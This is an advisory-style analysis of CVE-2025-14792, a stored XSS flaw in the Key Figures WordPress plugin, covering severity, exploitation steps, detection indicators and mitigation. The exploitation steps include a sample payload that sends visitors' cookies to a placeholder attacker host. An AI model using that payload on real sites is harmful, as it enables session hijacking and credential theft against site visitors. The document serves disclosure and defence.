CVE-2025-14792: 
WordPress vulnerability analysis and mitigation

CVE-2025-14792 is a Stored Cross-Site Scripting (XSS) vulnerability in the Key Figures plugin for WordPress, affecting all versions up to and including 1.1. The flaw exists in the kf_field_figure_default_color_render function due to insufficient input sanitization and output escaping. It was published on January 7, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 4.4 (Medium) and is limited in scope to multi-site WordPress installations or those with unfiltered_html disabled (Wordfence, Red Hat CVE).

The vulnerability is classified under CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page) and stems from the kf_field_figure_default_color_render function in the plugin's admin file (admin/kf-admin.php, line 201) failing to properly sanitize user-supplied input before rendering it in the page output. An authenticated attacker with administrator-level privileges can inject malicious JavaScript or HTML into a color field, which is then persistently stored and executed in the browser of any user who visits the affected page. Exploitation requires high privileges and is constrained to environments where WordPress's unfiltered_html capability is disabled (typically multi-site setups) (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated administrator to persistently inject arbitrary web scripts into WordPress pages, which execute in the context of any user's browser upon visiting the injected page. This can lead to session hijacking, credential theft, defacement, or delivery of malicious payloads to site visitors. The impact on confidentiality and integrity is low, and there is no direct availability impact; however, the changed scope means the attack can affect users beyond the attacker's own session (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14792. The EPSS score is approximately 0.027%, indicating a very low probability of exploitation in the near term. The vulnerability requires administrator-level authentication and is only exploitable in specific WordPress configurations (multi-site or unfiltered_html disabled), significantly limiting the attack surface. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Identify target: Confirm the target WordPress site is running the Key Figures plugin version 1.1 or earlier, and that it is either a multi-site installation or has unfiltered_html disabled.
2. Authenticate as administrator: Log in to the WordPress admin dashboard with administrator-level credentials.
3. Navigate to plugin settings: Access the Key Figures plugin configuration page in the WordPress admin panel.
4. Inject malicious payload: In the color field rendered by kf_field_figure_default_color_render (in admin/kf-admin.php), input a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent HTML-based script tag.
5. Save settings: Submit the form to store the malicious script persistently in the WordPress database.
6. Trigger execution: Any user (including non-administrators) who visits a page rendering the injected Key Figures widget will have the malicious script execute in their browser, potentially exposing session cookies or other sensitive data (Wordfence, WordPress Trac).

• Logs: WordPress admin audit logs showing unexpected changes to Key Figures plugin settings, particularly color field values containing <script>, javascript:, or encoded variants.
• Database: Anomalous entries in the WordPress wp_options or relevant plugin option tables containing script tags or obfuscated JavaScript in color-related fields.
• Network: Outbound requests from user browsers to unknown external domains shortly after visiting pages with Key Figures widgets (indicative of data exfiltration via injected scripts).
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than on disk.

Users should update the Key Figures plugin to a version beyond 1.1 that includes proper input sanitization and output escaping in the kf_field_figure_default_color_render function. If an update is not immediately available, administrators should consider deactivating the plugin on affected multi-site or unfiltered_html-disabled installations until a patch is applied. Restricting administrator access to trusted users and monitoring admin activity can reduce risk in the interim (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory on January 7, 2026. Coverage has been limited to automated vulnerability aggregators and security feed services, with no notable researcher commentary or significant social media discussion identified. The low CVSS score and constrained exploitation conditions have kept community interest minimal (Wordfence).